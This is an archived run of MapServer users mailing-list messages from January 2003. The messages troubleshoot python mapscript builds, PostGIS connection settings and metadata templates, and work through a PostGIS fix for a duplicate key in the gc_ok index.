------=_NextPart_000_001D_01C2C83C.87B14590-- From mschulz at webgis.de Thu Jan 30 00:42:03 2003 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 30 Jan 2003 09:42:03 +0100 Subject: [Mapserver-users] python mapscript install 3.7 References: <3E37DA50.8C7DF7F3@webgis.de> <012d01c2c7c0$801938a0$2f36ba8c@sfdev3> Message-ID: <3E38E55B.9473617E@webgis.de> Hi, thanks, Sean and Norman, this did it and now it is working - nearly. I ran into trouble with the gdal library, because i am using MS 3.6.3 with php-mapscript on the same machine, which was compiled with gdal117. After installing gdal118 php-mapscript363 wasn't working anymore (well, some of it wasn't working, especially maplab), then i reinstalled gdal117: php-mapscript worked again, but of course python mapscript 37 couldn't be imported anymore. So my question is now, how would you solve this problem? recompile MS363 with gdal118? find a way to have both installed (how could this be done?)? Thanks, Michael > FYI > > I have to make the following changes to mapscript.i > inorder to get a working Python mapscript from the > CVS sources > > I have needed to do this for a while > > Below I believe > > int contrain(rectObj *bounds, double overlay) { > return msConstrainRect(bounds,self, overlay); > } > > should be > > int contsrain(rectObj *bounds, double overlay) { > return msConstrainExtent(bounds,self, overlay); > } > > Not sure about the others > > Norman > > $ cvs diff -cw mapscript.i > Index: mapscript.i > =================================================================== > RCS file: /data2/cvsroot/mapserver/mapscript/mapscript.i,v > retrieving revision 1.90 > diff -c -w -r1.90 mapscript.i > *** mapscript.i 27 Jan 2003 22:38:42 -0000 1.90 > --- mapscript.i 29 Jan 2003 17:46:27 -0000 > *************** > *** 102,110 **** > return NULL; > } > > ! int addColor(int r, int g, int b) { > ! return msAddColor(self, r, g, b); > ! } > > int getSymbolByName(char *name) { > return msGetSymbolIndex(&self->symbolset, name); > --- 102,110 ---- > return NULL; > } > > ! // int addColor(int r, int g, int b) { > ! // return msAddColor(self, r, g, b); > ! // } > > int getSymbolByName(char *name) { > return msGetSymbolIndex(&self->symbolset, name); > *************** > *** 136,146 **** > } > > ! if (MS_DRIVER_GD(self->outputformat)) > ! { > ! if(msLoadPalette(image->img.gd, &(self->palette), self->imagecolor) == -1) > ! return NULL; > ! } > self->cellsize = msAdjustExtent(&(self->extent), self->width, self->height); > status = msCalculateScale(self->extent, self->units, self->width, self->height, self->resolution, &self->scale); > if(status != MS_SUCCESS) return NULL; > --- 136,146 ---- > } > > ! // if (MS_DRIVER_GD(self->outputformat)) > ! // { > ! // if(msLoadPalette(image->img.gd, &(self->palette), self->imagecolor) == -1) > ! // return NULL; > ! // } > self->cellsize = msAdjustExtent(&(self->extent), self->width, self->height); > status = msCalculateScale(self->extent, self->units, self->width, self->height, self->resolution, &self->scale); > if(status != MS_SUCCESS) return NULL; > *************** > *** 754,762 **** > return msAdjustExtent(self, width, height); > } > > ! int contrain(rectObj *bounds, double overlay) { > ! return msConstrainRect(bounds,self, overlay); > ! } > > int draw(mapObj *map, layerObj *layer, imageObj *image, int classindex, char *text) { > shapeObj shape; > --- 754,762 ---- > return msAdjustExtent(self, width, height); > } > > ! // int contrain(rectObj *bounds, double overlay) { > ! // return msConstrainRect(bounds,self, overlay); > ! // } > > int draw(mapObj *map, layerObj *layer, imageObj *image, int classindex, char *text) { > shapeObj shape; > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de From alessandro.ceccotti at netxcalibur.com Thu Jan 30 01:01:26 2003 From: alessandro.ceccotti at netxcalibur.com (Alessandro Ceccotti) Date: Thu, 30 Jan 2003 10:01:26 +0100 Subject: [Mapserver-users] Mapserver type definition Message-ID: <000401c2c83e$2bdf3090$0101a8c0@CPQ60241426414> I've a problem using mapserver with postgresql/postgis. I've a .shp file inserted in a postgres/postgis db. I know that the type in postgres is "multilinestring". What is the correct type I've to specify in my .map file? I've tried to use polygon, but the result is a blank page. Using "line" or "point" type the result is a white image with only a black pixel in it. I'm sure to have specified the correct "extention" (I had it from the tool shpdump) Any ideas? Thanks , Alessandro From mark.cave-ayland at webbased.co.uk Thu Jan 30 02:10:08 2003 From: mark.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Thu, 30 Jan 2003 10:10:08 -0000 Subject: [Mapserver-users] Error Parsing POSTGIS connection informatio n Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C2C847.C44F5784 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Hi Christian, =20 Have you enabled TCP/IP connections in your copy of postgresql? To check this, fire up cygwin and go to /usr/local/pgsql/data. Load the file postgresql.conf into a text editor and change the line reading '#tcpip_socket=3Dfalse' to 'tcpip_socket=3Dtrue'. =20 Secondly, load up pg_hba.conf into a text editor and make sure there are two entries for your machine in there: =20 host all 127.0.0.1 255.255.255.255 trust host all x.x.x.x 255.255.255.255 trust (where x.x.x.x is the IP of your machine on your LAN) =20 =20 Finally, restart postgresql and see if you can then connect to the db using mapserver. If you've done it right, typing 'netstat -an' from a command prompt should give an entry similar to: =20 TCP 0.0.0.0:5432 0.0.0.0:0 LISTENING or TCP x.x.x.x:5432 0.0.0.0:0 LISTENING =20 where 5432 is the port used by postgresql.... =20 =20 Hope this helps, =20 Mark. =20 --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. -----Original Message----- From: christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch]=20 Sent: 29 January 2003 17:08 To: Swaminathan, Gayathri Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Error Parsing POSTGIS connection informatio n =20 I tried now both connection settings=20 ### Connect to a remote spatial database=20 CONNECTION "user=3D*** password=3D**** dbname=3DmyGISdb host=3Dlocalhost port=3D5432" =20 ### Connect to a remote spatial database=20 CONNECTION "user=3D*** password=3D**** dbname=3DmyGISdb host=3D127.0.01 port=3D5432" =20 With the same error message.=20 I am also not a Unix (Cygwin) expert. So, I am not absolutly sure if the PostgreSQL server is running right. Is there a possibility to check this?=20 Well, if I type in ps at the shell I get three processes for PostgreSQL. "Swaminathan, Gayathri" =20 29.01.2003 17:58=20 To "'christian.schuster at rsag.ch'" =20 cc =20 Subject RE: [Mapserver-users] Error Parsing POSTGIS connection informatio n =20 =20 =20 Try doing this instead...Hope that works for you=20 =20 LAYER =20 CONNECTIONTYPE postgis=20 NAME "points" =20 ### Connect to a remote spatial database=20 CONNECTION "user=3D*** password=3D**** dbname=3DmyGISdb = host=3Dlocalhost port=3D5432" =20 Gayathri Swaminathan=20 Geo Information Systems=20 University Of Oklahoma=20 (405) 325 3131 x 237=20 (405) 904 4673=20 visit us @ http://geo.ou.edu =20 ------------------------------------------------------ =20 Work like you don't need money,love like=20 you've never been hurt and, dance like=20 no one's watching.=20 ~Anon =20 =20 -----Original Message-----=20 From: christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch]=20 Sent: Wednesday, January 29, 2003 8:50 AM=20 To: mapserver-users at lists.gis.umn.edu=20 Subject: [Mapserver-users] Error Parsing POSTGIS connection information=20 Hi list,=20 I am a newbie an struggeling with getting GIS data from the database. I get the following error in the browser=20 msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information.=20 This is my layer definition:=20 LAYER=20 CONNECTIONTYPE postgis=20 NAME "points"=20 ### Connect to a remote spatial database=20 CONNECTION "user=3D*** dbname=3DmyGISdb host=3D127.0.0.1"=20 ### Get the points from the 'col1' column of the 't1' table=20 DATA "col1 from t1" =20 STATUS ON=20 TYPE POINT=20 CLASS =20 COLOR 255 0 0 =20 END=20 END=20 ### end of layer definitions=20 Any help is welcome. =20 Christian Schuster=20 Rudolf Schuster AG=20 Postfach 277=20 CH - 3000 Bern 11=20 http://www.rsag.ch=20 ++41 31 348 05 30=20 ------_=_NextPart_001_01C2C847.C44F5784 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Hi = Christian,

 

Have you enabled TCP/IP connections = in your copy of postgresql? To check this, fire = up cygwin and go to /usr/local/pgsql/data. Load the file postgresql.conf into a text = editor and change the line reading ‘#tcpip_socket=3Dfalse’ to ‘tcpip_socket=3Dtrue’.

 

Secondly, load up pg_hba.conf into a text editor and make sure there are two entries for your machine = in there:

 

host       all       &nbs= p; 127.0.0.1     255.255.255.255    trust

host      all        = ; x.x.x.x        = ;      255.255.255.255 trust        = ;         (where x.x.x.x is the IP of your machine on your = LAN)

 

 

Finally, restart postgresql and see if you can then connect to the db using mapserver. If you’ve done it right, typing ‘netstat –an’ from a command prompt should give an entry similar = to:

 

TCP      = 0.0.0.0:5432      = 0.0.0.0:0        = ;   LISTENING        = ;            = or

TCP      = x.x.x.x:5432      = 0.0.0.0:0        = ;   LISTENING

 

where 5432 is the port used by = postgresql….

 

 

Hope this = helps,

 

Mark.

 

---

Mark = Cave-Ayland
Webbased Ltd.
Tamar = Science = Park=
Derriford
Plymouth
PL6 8BX
England

Tel: +44 (0)1752 764445
Fax: +44 (0)1752 764446


This email and any attachments are confidential to the intended = recipient and may also be privileged. If you are not the intended recipient please = delete it from your system and notify the sender. You should not copy it or use it = for any purpose nor disclose or distribute its contents to any other = person.

-----Original Message-----
From: = christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch]
Sent
: 29 =
January 2003 17:08
To: Swaminathan, = Gayathri
Cc: =
mapserver-users at lists.gis.u= mn.edu
Subject: RE: = [Mapserver-users] Error Parsing POSTGIS connection informatio n

 


I tried now both connection = settings

### Connect to a remote spatial = database
CONNECTION "user=3D*** = password=3D**** dbname=3DmyGISdb host=3Dlocalhost =  port=3D5432" 

### Connect to a remote spatial = database
CONNECTION "user=3D*** = password=3D**** dbname=3DmyGISdb host=3D127.0.01 =  port=3D5432" 

With the same error message.

I am also not a Unix (Cygwin) expert. So, I am not absolutly sure if the PostgreSQL server is running right. Is there a possibility to check = this?
Well, if I type in ps at the shell I get three processes for = PostgreSQL.



"Swaminathan, Gayathri" <gayathri at ou.edu> =

29.01.2003 17:58

To

"'christian.schuster at rsag.ch'" <christian.schuster at rsag.ch>

cc

 

Subject

RE: [Mapserver-users] Error Parsing = POSTGIS connection informatio       =  n

 

 

 





Try =  doing this instead...Hope that works for you
 
LAYER  
  CONNECTIONTYPE = postgis
  NAME = "points"  

  ### Connect to a remote = spatial database
   CONNECTION = "user=3D*** password=3D**** dbname=3DmyGISdb host=3Dlocalhost =  port=3D5432" 



Gayathri Swaminathan =
Geo Information Systems =
University Of  Oklahoma
(405) 325 3131 x 237 =
(405) 904 4673 =
visit us @ http://geo.ou.edu
------------------------------------------------------  
Work like you don't need money,love like
you've never been hurt and, dance like
no one's watching. =
~Anon =  

 

-----Original = Message-----
From: christian.schuster at rsag.ch  [mailto:christian.schuster at rsag.ch]
Sent: Wednesday, January 29, 2003 =  8:50 AM
To: = mapserver-users at lists.gis.umn.edu
Subject:  [Mapserver-users] Error = Parsing POSTGIS connection  information



Hi list,

I am a  newbie an struggeling with getting GIS data from the = database. I get the  following error in the browser

msPOSTGISLayerOpen(): Query error. = Error parsing POSTGIS connection  information.

This is my layer  definition:

LAYER
  CONNECTIONTYPE = postgis
   NAME = "points"

  ### Connect to a  remote = spatial database
  CONNECTION =  "user=3D*** dbname=3DmyGISdb host=3D127.0.0.1"

  ### Get the points from the = 'col1' column of the 't1'  table
  DATA "col1 from = t1"  
  STATUS ON
   TYPE POINT =

  CLASS  
    COLOR 255 0 0   =     
  END
END
### end of layer =  definitions

Any help is welcome.  

Christian = Schuster

Rudolf Schuster =  AG
Postfach = 277
CH - 3000 Bern = 11

http://www.rsag.ch
++41 31  348 05 = 30

=00 ------_=_NextPart_001_01C2C847.C44F5784-- From mschulz at webgis.de Thu Jan 30 02:23:08 2003 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 30 Jan 2003 11:23:08 +0100 Subject: [Mapserver-users] Metadata access via templates Message-ID: <3E38FD0C.71A4136F@webgis.de> Hi, is it correct, that metadatakey substitution( [layername_metadatakey]) in templates is only happening when that specific layer is drawn? Otherwise the substituion is empty?! mapfile snip: LAYER NAME "ffh" METADATA "l_name" " " "infofile" "ffh.html" END template snip: FFH processed html when layer drawn: FFH processed html when layer not drawn: FFH I am using this in the layer selection part, where the layers appear even if they are not drawn on the map, is there a way that the substitution will happen in every case? Thanks, Michael -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de From Norman Thu Jan 30 04:47:56 2003 From: Norman (Norman) Date: Thu, 30 Jan 2003 07:47:56 -0500 Subject: [Mapserver-users] python mapscript install 3.7 References: <3E37DA50.8C7DF7F3@webgis.de> <012d01c2c7c0$801938a0$2f36ba8c@sfdev3> <3E38E55B.9473617E@webgis.de> Message-ID: <005f01c2c85d$dd85c380$af37ba8c@sfdev3> Michael Schulz writes: > > thanks, Sean and Norman, this did it and now it is working - nearly. I ran into trouble with the gdal library, because i > am using MS 3.6.3 with php-mapscript on the same machine, which was compiled with gdal117. After installing gdal118 > php-mapscript363 wasn't working anymore (well, some of it wasn't working, especially maplab), then i reinstalled gdal117: > php-mapscript worked again, but of course python mapscript 37 couldn't be imported anymore. So my question is now, how > would you solve this problem? recompile MS363 with gdal118? find a way to have both installed (how could this be done?)? > You need to recompile mapserv and mapscript Norman From lfilak at medinaco.org Thu Jan 30 05:59:13 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 30 Jan 2003 08:59:13 -0500 Subject: [Mapserver-users] GPS Message-ID: <200301301355.h0UDtVR32236@yogi.medinaco.net> There are probably several ways to do that. One way would be to do it in mapscript with something similar to the mapquakes example at: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2 HTH Lowell F. The following message was sent by "=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=" on Wed, 29 Jan 2003 16:00:49 -0200. > Friends, > I am developing an application, that from a position GPS, I must insert > a point in the map and visualize the image of my cartographic base with > this signaled point. Somebody could give a suggestion to me of as to > make this? > Thanks > Jo?o Paulo From christian.schuster at rsag.ch Thu Jan 30 05:56:19 2003 From: christian.schuster at rsag.ch (christian.schuster at rsag.ch) Date: Thu, 30 Jan 2003 14:56:19 +0100 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok Message-ID: This is a multipart message in MIME format. --=_alternative 004C9157C1256CBE_= Content-Type: text/plain; charset="US-ASCII" Hi list, I had a table 'geo' with a geometry column of type point and also a GIST index. Then I deleted this table as well as the index belonging to it and create it again. So far okay. But as I wanted to add the geometry column I received the following error message. To work around this problem I renamed the table in to geo2 and then I could add the geometry column. I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and PostGIS-0.7.3 Does anyone know how to delete the key in index gc_ok? Thanks for your help. myGISdb=# create table geo (ID int4, NAME varchar(20)); CREATE TABLE myGISdb=# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', 2); ERROR: Cannot insert a duplicate key into unique index gc_ok WARNING: Error occurred while executing PL/pgSQL function addgeometrycolumn WARNING: Error occurred while executing PL/pgSQL function addgeometrycolumn WARNING: line 39 at execute statement WARNING: line 39 at execute statement ERROR: Cannot insert a duplicate key into unique index gc_ok Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 --=_alternative 004C9157C1256CBE_= Content-Type: text/html; charset="US-ASCII"
Hi list,

I had a table 'geo' with a geometry column of type point and also a GIST index. Then I deleted this table as well as the index belonging to it and create it again. So far okay. But as I wanted to add the geometry column I received the following error message. To work around this problem I renamed the table in to geo2 and then I could add the geometry column.

I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and PostGIS-0.7.3

Does anyone know how to delete the key in index gc_ok?

Thanks for your help.


myGISdb=# create table geo (ID int4, NAME varchar(20));
CREATE TABLE
myGISdb=# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', 2);
ERROR:  Cannot insert a duplicate key into unique index gc_ok
WARNING:  Error occurred while executing PL/pgSQL function addgeometrycolumn
WARNING:  Error occurred while executing PL/pgSQL function addgeometrycolumn
WARNING:  line 39 at execute statement
WARNING:  line 39 at execute statement
ERROR:  Cannot insert a duplicate key into unique index gc_ok

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30
--=_alternative 004C9157C1256CBE_=-- From lfilak at medinaco.org Thu Jan 30 06:17:54 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Thu, 30 Jan 2003 09:17:54 -0500 Subject: [Mapserver-users] Problem Selecting a Feature Message-ID: <200301301414.h0UEEDR32609@yogi.medinaco.net> It's likely that adding a 'template' for the layer, even if it is bogus, may fix the problem. HTH Lowell F. The following message was sent by "Benjamin Wragg" on Wed, 29 Jan 2003 10:00:09 +1030. > Hi all, > > > > I have the following layer defined in my map file: > > > > LAYER > > CONNECTIONTYPE postgis > > NAME "testpoints" > > CONNECTION "user=user password=password dbname=dbname host=localhost" > > DATA "the_geom from testpoints" > > STATUS ON > > TYPE POINT > > > > CLASS > > NAME "All Points" > > COLOR 0 0 0 > > SIZE 10 > > SYMBOL 2 > > END > > END > > > > If I run the following code: > > > > $layer=$map->getlayerbyname("aLayer"); > > $class=ms_newClassObj($layer); > > $class->set("name", "Selected Feature"); > > $class->setexpression('gid='.$featureGID); > > $colorId=$map->addColor(255,0,0); > > $class->set("color", $colorId); > > $class->set("size", 20); > > $class->set("symbol", 2); > > $layer->set("status", MS_ON); > > $image=$map->draw(); > > $imageURL=$image->saveWebImage(MS_PNG,1,1,0); > > > > I also generate a legend and replace the images in the browser with the > newly generated images. The problem is that I can't see the feature on > the map, but a new class shows up on the legend. What am I missing? > > > > Thanks, > > > > Benjamin > > From dlowther at ou.edu Thu Jan 30 06:22:47 2003 From: dlowther at ou.edu (Lowther, David W) Date: Thu, 30 Jan 2003 08:22:47 -0600 Subject: OT: Color Blind and Maps WAS RE: [Mapserver-users] Maximum Num of Features? Message-ID: Antti, We took an app to a trade show that was based on green roads with a red selected set - and also a red box draw to zoom in. One of the most interested people in what we were doing turned out to be color blind. It wasn't until his road foreman came over and looked at the map that we realized what was going on. I had honestly never thought of the possibility. He was completely unable to se the difference and had to take others' words that there really WERE selected roads... I guess that changes some cartographic rules, huh? Dave -----Original Message----- From: Antti.Roppola at brs.gov.au [mailto:Antti.Roppola at brs.gov.au] Sent: Wednesday, January 29, 2003 8:30 PM To: ryanne.cruz at up.edu.ph; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Maximum Num of Features? Actually, I had a bit of an ulterior motive in posting. The orginal post reminded me of previous experience where things that looked OK to me were very difficult for red/green colour blind people to read. Working in a browser palette would maybe compound that; On the desk next to mine, there's an Adobe chart of "web-safe colours" that only lists 216 colours. Antti Ryanne wrote: > we were able to make about 7 or 8 classes with different colors and we > had no > problem with it. the problem may not be with the number of classes with > different color. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dlowther at ou.edu Thu Jan 30 06:33:46 2003 From: dlowther at ou.edu (Lowther, David W) Date: Thu, 30 Jan 2003 08:33:46 -0600 Subject: [Mapserver-users] Metadata access via templates Message-ID: Michael, I don't know the answer to your question, but I am doing something similar in a different way. I am using the HTML legend and in that template file the metadata items are available for everything in the legend. You can have your legend show all layers all the time. If I remember right that is what opt_flag=15 means. The HTML Legend docs are great or I'll be glad to help you out if you decide to go this route . Here's an example: [leg_layer_html opt_flag=15 order_metadata=legend_order] [metadata name=wms_title] [/leg_layer_html] Dave -----Original Message----- From: Michael Schulz [mailto:mschulz at webgis.de] Sent: Thursday, January 30, 2003 4:23 AM To: MapServer Userlist Subject: [Mapserver-users] Metadata access via templates Hi, is it correct, that metadatakey substitution( [layername_metadatakey]) in templates is only happening when that specific layer is drawn? Otherwise the substituion is empty?! mapfile snip: LAYER NAME "ffh" METADATA "l_name" " " "infofile" "ffh.html" END template snip: FFH processed html when layer drawn: FFH processed html when layer not drawn: FFH I am using this in the layer selection part, where the layers appear even if they are not drawn on the map, is there a way that the substitution will happen in every case? Thanks, Michael -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From christian.schuster at rsag.ch Thu Jan 30 07:59:09 2003 From: christian.schuster at rsag.ch (christian.schuster at rsag.ch) Date: Thu, 30 Jan 2003 16:59:09 +0100 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok In-Reply-To: Message-ID: This is a multipart message in MIME format. --=_alternative 0057D01AC1256CBE_= Content-Type: text/plain; charset="US-ASCII" Hi Mark, Unfortunately, I did not use the DropGeometryColumn function. I am also not aware of the syntax of this function because I could not find any information about this. You wrote me to add the GeometryColumn again. This is just the part which is causing an error. So I am not able to add again a GeometryColumn wiht the previous table name. Can you send me the synthay for the function DropGeometryColumn? Then I would try to delete it even if the table does not exist anmore. Thanks Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 "Mark Cave-Ayland" 30.01.2003 16:22 To cc Subject RE: [Mapserver-users] How to delete a GIST Index in gc_ok Hi Christian, Did you use the DropGeometryColumnto remove the old geometry column from the geo table? Otherwise you need to add the old geometry column back into your table, then use the function DropGeometryColumnto properly remove it. Once this is done, you should be able to carry on without any duplicate key problems. Hope this helps, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. -----Original Message----- From: christian.schuster at rsag.ch[mailto:christian.schuster at rsag.ch] Sent:30 January 2003 13:56 To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How to delete a GIST Index in gc_ok Hi list, I had a table 'geo' with a geometry column of type point and also a GIST index. Then I deleted this table as well as the index belonging to it and create it again. So far okay. But as I wanted to add the geometry column I received the following error message. To work around this problem I renamed the table in to geo2 and then I could add the geometry column. I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and PostGIS-0.7.3 Does anyone know how to delete the key in index gc_ok? Thanks for your help. myGISdb=# create table geo (ID int4, NAME varchar(20)); CREATE TABLE myGISdb=# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', 2); ERROR: Cannot insert a duplicate key into unique index gc_ok WARNING: Error occurred while executing PL/pgSQL function addgeometrycolumn WARNING: Error occurred while executing PL/pgSQL function addgeometrycolumn WARNING: line 39 at execute statement WARNING: line 39 at execute statement ERROR: Cannot insert a duplicate key into unique index gc_ok Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 --=_alternative 0057D01AC1256CBE_= Content-Type: text/html; charset="US-ASCII"
Hi Mark,

Unfortunately, I did not use the DropGeometryColumn function. I am also not aware of the syntax of this function because I could not find any information about this.
You wrote me to add the GeometryColumn again. This is just the part which is causing an error. So I am not able to add again a GeometryColumn wiht the previous table name.

Can you send me the synthay for the function DropGeometryColumn? Then I would try to delete it even if the table does not exist anmore.

Thanks

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30



"Mark Cave-Ayland" <mark.cave-ayland at webbased.co.uk>

30.01.2003 16:22

To
<christian.schuster at rsag.ch>
cc
Subject
RE: [Mapserver-users] How to delete a GIST Index in gc_ok







Hi Christian,

 

Did you use the DropGeometryColumnto remove the old geometry column from the geo table? Otherwise you need to add the old geometry column back into your table, then use the function DropGeometryColumnto properly remove it. Once this is done, you should be able to carry on without any duplicate key problems.

 

 

Hope this helps,

 

Mark.

 

---

Mark Cave-Ayland
Webbased Ltd.
Tamar Science Park
Derriford
Plymouth
PL6 8BX
England

Tel: +44 (0)1752 764445
Fax: +44 (0)1752 764446


This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person.

-----Original Message-----
From: christian.schuster at rsag.ch[mailto:christian.schuster at rsag.ch]
Sent:30 January 2003 13:56
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] How to delete a GIST Index in gc_ok

 


Hi list,

I had a table 'geo' with a geometry column of type point and also a GIST index. Then I deleted this table as well as the index belonging to it and create it again. So far okay. But as I wanted to add the geometry column I received the following error message. To work around this problem I renamed the table in to geo2 and then I could add the geometry column.

I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and PostGIS-0.7.3

Does anyone know how to delete the key in index gc_ok?

Thanks for your help.


myGISdb=# create table geo (ID int4, NAME varchar(20));
CREATE TABLE
myGISdb=# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', 2);
ERROR:  Cannot insert a duplicate key into unique index gc_ok
WARNING:  Error occurred while executing PL/pgSQL function addgeometrycolumn
WARNING:  Error occurred while executing PL/pgSQL function addgeometrycolumn
WARNING:  line 39 at execute statement
WARNING:  line 39 at execute statement
ERROR:  Cannot insert a duplicate key into unique index gc_ok

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30
--=_alternative 0057D01AC1256CBE_=-- From christian.schuster at rsag.ch Thu Jan 30 08:16:24 2003 From: christian.schuster at rsag.ch (christian.schuster at rsag.ch) Date: Thu, 30 Jan 2003 17:16:24 +0100 Subject: [Mapserver-users] How to delete a GIST Index in gc_ok In-Reply-To: Message-ID: This is a multipart message in MIME format. --=_alternative 00596480C1256CBE_= Content-Type: text/plain; charset="US-ASCII" Hi thanks so much. That just worked out! Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 "Mark Cave-Ayland" 30.01.2003 17:14 To cc Subject RE: [Mapserver-users] How to delete a GIST Index in gc_ok Hi Christian, The URL for the DropGeometryColumn command can be found at: http://postgis.refractions.net/docs/c664.html Sorry, I wasn't particularly clear about that one! What you need to do is recreate the table the same as it was when you deleted it before you can use DropGeometryColumn. So for example create the 'geo' table again but without the geometry column create table geo (ID int4, NAME varchar(20)); Then instead of doing AddGeometryColumn (which affects the geometry_columns table) you need to add the column name and type manually using this (where geom should be the name of your geometry column): Alter table geo add column geom geometry; Then use the DropGeometryColumn function to remove it like this: Select DropGeometryColumn('myGISdb', 'geo', 'geom'); And then drop the table: Drop table geo; You should now be able to create a new table called 'geo' and add a new geometry column without any problems :) Hope this helps, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. -----Original Message----- From: christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch] Sent: 30 January 2003 15:59 To: Mark Cave-Ayland Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How to delete a GIST Index in gc_ok Hi Mark, Unfortunately, I did not use the DropGeometryColumn function. I am also not aware of the syntax of this function because I could not find any information about this. You wrote me to add the GeometryColumn again. This is just the part which is causing an error. So I am not able to add again a GeometryColumn wiht the previous table name. Can you send me the synthay for the function DropGeometryColumn? Then I would try to delete it even if the table does not exist anmore. Thanks Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 "Mark Cave-Ayland" 30.01.2003 16:22 To cc Subject RE: [Mapserver-users] How to delete a GIST Index in gc_ok Hi Christian, Did you use the DropGeometryColumnto remove the old geometry column from the geo table? Otherwise you need to add the old geometry column back into your table, then use the function DropGeometryColumnto properly remove it. Once this is done, you should be able to carry on without any duplicate key problems. Hope this helps, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. -----Original Message----- From: christian.schuster at rsag.ch[mailto:christian.schuster at rsag.ch] Sent:30 January 2003 13:56 To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How to delete a GIST Index in gc_ok Hi list, I had a table 'geo' with a geometry column of type point and also a GIST index. Then I deleted this table as well as the index belonging to it and create it again. So far okay. But as I wanted to add the geometry column I received the following error message. To work around this problem I renamed the table in to geo2 and then I could add the geometry column. I am working on Win2000 with Cygwin, PostgreSQL-7.3.1-1 and PostGIS-0.7.3 Does anyone know how to delete the key in index gc_ok? Thanks for your help. myGISdb=# create table geo (ID int4, NAME varchar(20)); CREATE TABLE myGISdb=# select addgeometrycolumn('myGISdb', 'geo', 'geom', -1, 'POINT', 2); ERROR: Cannot insert a duplicate key into unique index gc_ok WARNING: 